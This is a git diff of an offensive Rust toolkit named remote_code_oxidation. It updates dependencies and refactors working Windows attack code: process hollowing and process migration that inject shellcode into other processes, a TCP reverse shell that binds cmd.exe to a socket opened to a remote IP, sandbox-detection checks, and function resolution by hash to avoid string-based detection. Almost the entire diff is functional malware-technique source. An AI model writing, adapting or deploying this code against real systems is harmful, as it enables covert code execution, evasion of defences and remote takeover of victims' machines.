diff --git a/Cargo.lock b/Cargo.lock index 0a34d3b..a8490a4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -33,7 +33,7 @@ dependencies = [ [[package]] name = "hash_params" -version = "1.0.0" +version = "1.0.1" dependencies = [ "rco_config", "rco_utils", @@ -82,7 +82,7 @@ checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" [[package]] name = "process_hollowing" -version = "1.7.1" +version = "1.7.2" dependencies = [ "nix", "rco_config", @@ -92,7 +92,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.9.1" +version = "1.9.2" dependencies = [ "nix", "rco_config", @@ -136,7 +136,7 @@ version = "0.2.0" [[package]] name = "rco_utils" -version = "1.0.1" +version = "1.0.2" dependencies = [ "rand", "windows", @@ -144,7 +144,7 @@ dependencies = [ [[package]] name = "tcp_reverse_shell" -version = "1.3.1" +version = "1.3.2" dependencies = [ "rco_config", "rco_utils", @@ -159,9 +159,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "windows" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e30acc718a52fb130fec72b1cb5f55ffeeec9253e1b785e94db222178a6acaa1" +checksum = "5a3ed69de2c1f8d0524a8a3417a80a85dd316a071745fbfdf5eb028b310058ab" dependencies = [ "windows_aarch64_gnullvm", "windows_aarch64_msvc", @@ -174,45 +174,45 @@ dependencies = [ [[package]] name = "windows_aarch64_gnullvm" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3caa4a1a16561b714323ca6b0817403738583033a6a92e04c5d10d4ba37ca10" +checksum = "163d2761774f2278ecb4e6719e80b2b5e92e5a2be73a7bcd3ef624dd5e3091fd" [[package]] name = "windows_aarch64_msvc" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "328973c62dfcc50fb1aaa8e7100676e0b642fe56bac6bafff3327902db843ab4" +checksum = "ef005ff2bceb00d3b84166a359cc19084f9459754fd3fe5a504dee3dddcd0a0c" [[package]] name = "windows_i686_gnu" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa5b09fad70f0df85dea2ac2a525537e415e2bf63ee31cf9b8e263645ee9f3c1" +checksum = "02b4df2d51e32f03f8b4b228e487828c03bcb36d97b216fc5463bcea5bb1440b" [[package]] name = "windows_i686_msvc" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a1ad4031c1a98491fa195d8d43d7489cb749f135f2e5c4eed58da094bd0d876" +checksum = "568a966834571f2f3267f07dd72b4d8507381f25e53d056808483b2637385ef7" [[package]] name = "windows_x86_64_gnu" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "520ff37edd72da8064b49d2281182898e17f0688ae9f4070bca27e4b5c162ac7" +checksum = "fc395dac1adf444e276d096d933ae7961361c8cda3245cffef7a9b3a70a8f994" [[package]] name = "windows_x86_64_gnullvm" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "046e5b82215102c44fd75f488f1b9158973d02aa34d06ed85c23d6f5520a2853" +checksum = "90e8ec22b715d5b436e1d59c8adad6c744dc20cd984710121d5836b4e8dbb5e0" [[package]] name = "windows_x86_64_msvc" -version = "0.40.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a0c9c6df55dd1bfa76e131cef44bdd8ec9c819ef3611f04dfe453fd5bfeda28" +checksum = "8b9761f0216b669019df1512f6e25e5ee779bf61c5cdc43c7293858e7efd7926" [[package]] name = "xor_params" diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index dd6c8ef..66bc751 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "process_hollowing" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing" rust-version = "1.59" -version = "1.7.1" +version = "1.7.2" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -25,7 +25,7 @@ rco_utils = {path = "../rco_utils", version = ">=1.0.1"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index e822d7a..c0e3282 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CString}; +use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; @@ -21,7 +21,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html - let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); let creation_result = unsafe { CreateProcessA( PCSTR::null(), @@ -30,7 +30,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { None, false, CREATE_SUSPENDED, - ptr::null(), + None, PCSTR::null(), &STARTUPINFOA::default(), &mut process_information, @@ -66,7 +66,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ReadProcessMemory( process_handle, image_base_address as *const c_void, - &mut address_buffer, + address_buffer.as_mut_ptr() as *mut c_void, + POINTER_SIZE as usize, None, ) }; @@ -82,7 +83,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ReadProcessMemory( process_handle, pe_base_address as *const c_void, - &mut header_buffer, + header_buffer.as_mut_ptr() as *mut c_void, + 0x200, None, ) }; @@ -103,7 +105,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { WriteProcessMemory( process_handle, entry_point_address as *const c_void, - shellcode, + shellcode.as_ptr() as *const c_void, + shellcode.len(), None, ) }; diff --git a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs index b4f2b88..4234235 100644 --- a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CString}; +use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; @@ -20,7 +20,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // See line 18 let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]); - let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); unsafe { function( PCSTR::null(), diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index 4fb2c6f..9056d0c 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "process_migration" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_migration" rust-version = "1.59" -version = "1.9.1" +version = "1.9.2" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -24,7 +24,7 @@ rco_utils = {path = "../rco_utils", version = ">=1.0.1"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_migration/src/rco_process_migration_windows/mod.rs b/process_migration/src/rco_process_migration_windows/mod.rs index d6b12c1..6f0ad1b 100644 --- a/process_migration/src/rco_process_migration_windows/mod.rs +++ b/process_migration/src/rco_process_migration_windows/mod.rs @@ -1,4 +1,5 @@ -use std::{mem, ptr}; +use core::ffi::c_void; +use std::mem; use windows::Win32::Foundation::CHAR; use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows::Win32::System::Diagnostics::ToolHelp::{ @@ -62,7 +63,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { let base_address = unsafe { VirtualAllocEx( explorer_handle, - ptr::null(), + None, shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, @@ -76,7 +77,8 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { WriteProcessMemory( explorer_handle, base_address, - shellcode, + shellcode.as_ptr() as *const c_void, + shellcode.len(), None, ) }; @@ -94,7 +96,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { None, 0, start_address_option, - ptr::null(), + None, 0, None, ) diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index 5d39b44..e82869c 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -19,7 +19,7 @@ antistring = ["windows"] rand.optional = true rand.version = ">=0.8.5" windows.optional = true -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Networking", diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index 07476e7..21feda8 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -30,14 +30,37 @@ use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRE #[cfg(all(windows, feature = "antisand", feature = "antistring"))] use core::ffi::c_void; #[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] -use std::ffi::CString; -#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] use windows::core::PCSTR; // Things Antisand needs only when Antistring is not set #[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; +/* + Macros before functions +*/ + +#[macro_export] +macro_rules! construct_win32_function { + // Take in: + // one x - the function pointer + // zero or more y - the function argument data types + // zero or more z - the function return data types + ( + $( + $x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ] + );* + ) => { + // Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z" + // Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html + // this is a safe transmute because it will be guaranteed on Windows + // So the macro is safe despite the unsafe code + unsafe { + std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*) + } + } +} + /* Calculate the hash of a hashable value */ @@ -49,6 +72,7 @@ pub fn calculate_hash(t: &T) -> u64 { s.finish() } + /* Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer */ @@ -72,8 +96,7 @@ fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> #[cfg(all(windows, feature = "antistring"))] pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box> { // Call LoadLibraryA on a DLL to get its base address - let mut lib_filename = PCSTR::null(); - lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8; + let lib_filename = PCSTR::from_raw(format!("{dll}\0").as_mut_ptr()); let library_base = match unsafe { LoadLibraryA(lib_filename) } { Ok(value) => value, Err(_) => panic!("Could not load {lib_filename:?}"), @@ -159,11 +182,8 @@ pub fn pound_sand() -> bool { // Call InternetOpenA to get a handle that can be used in an actual internet request // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html - let mut lpsz_agent = PCSTR::null(); - lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; - let lpsz_proxy = PCSTR::null(); - let lpsz_proxy_bypass = PCSTR::null(); - let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) }; + let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr()); + let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, PCSTR::null(), PCSTR::null(), 0) }; // Generate a "website" to search for let length = rand::thread_rng().gen_range(20..40); @@ -180,8 +200,7 @@ pub fn pound_sand() -> bool { // Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html - let mut lpsz_url = PCSTR::null(); - lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; + let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr()); let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) }; if website != 0 as _ { return true; @@ -195,17 +214,15 @@ pub fn pound_sand() -> bool { #[cfg(all(windows, feature = "antisand", feature = "antistring"))] pub fn pound_sand() -> bool { + // See line 90 let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap(); - let mut lpsz_agent = PCSTR::null(); - lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; - let lpsz_proxy = PCSTR::null(); - let lpsz_proxy_bypass = PCSTR::null(); + let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr()); let internet_handle = unsafe { mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)( lpsz_agent, 0, - lpsz_proxy, - lpsz_proxy_bypass, + PCSTR::null(), + PCSTR::null(), 0, ) }; @@ -221,9 +238,9 @@ pub fn pound_sand() -> bool { full_link.push_str(&alphanum); full_link.push_str(&link_end); + // See line 111 let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap(); - let mut lpsz_url = PCSTR::null(); - lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; + let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr()); let website = unsafe { mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>( function, @@ -289,24 +306,3 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box { - // Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z" - // Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html - // this is a safe transmute because it will be guaranteed on Windows, so the macro is safe - // despite the unsafe code - unsafe { - std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*) - } - } -} diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index bb3f610..b5906c4 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "tcp_reverse_shell" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell" rust-version = "1.59" -version = "1.3.1" +version = "1.3.2" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"} rco_utils = {path = "../rco_utils", version = ">=1.0.1"} [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index edb5d15..216fb24 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,9 +1,10 @@ -use std::ffi::{c_void, CStr, CString}; -use std::{mem, ptr, slice}; +use core::ffi::c_void; +use std::mem; +use std::ffi::CStr; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::HANDLE; use windows::Win32::Networking::WinSock::{ - connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR_IN, + connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN, SOCKET, SOCK_STREAM, WSADATA, }; use windows::Win32::Security::SECURITY_ATTRIBUTES; @@ -49,7 +50,7 @@ pub fn shell(ip: &str, port: u16) { // This is magic that I don't really understand but seems to work let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; // Create a PCSTR and use the IP string as the 0 field - let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); + let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr()); // Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; if conversion_result != 1 { @@ -64,14 +65,7 @@ pub fn shell(ip: &str, port: u16) { // Connect the socket! // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html - let sockaddr_slice = unsafe { - slice::from_raw_parts( - (&sockaddr_in as *const SOCKADDR_IN) as *const u8, - mem::size_of::(), - ) - }; - - let connection_result = unsafe { connect(socket, sockaddr_slice) }; + let connection_result = unsafe { connect(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::() as _) }; if connection_result != 0 { panic!("Unable to call connect to the remote socket") } @@ -97,11 +91,7 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR( - CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8, - ); + let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr()); let create_res = unsafe { CreateProcessA( PCSTR::null(), @@ -110,7 +100,7 @@ pub fn shell(ip: &str, port: u16) { Some(&SECURITY_ATTRIBUTES::default()), true, PROCESS_CREATION_FLAGS::default(), - ptr::null(), + None, PCSTR::null(), &startup_info, &mut PROCESS_INFORMATION::default(), diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs index f8b81d4..5c267cc 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CStr, CString}; +use std::ffi::{c_void, CStr}; use std::{mem, ptr}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; @@ -41,7 +41,7 @@ pub fn shell(ip: &str, port: u16) { ..Default::default() }; let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; - let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); + let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr()); let function = rco_utils::construct_win32_function!(function; [i32, PCSTR, *mut c_void]; [i32]); unsafe { function(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; @@ -81,11 +81,7 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR( - CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8, - ); + let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr()); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]); unsafe { function(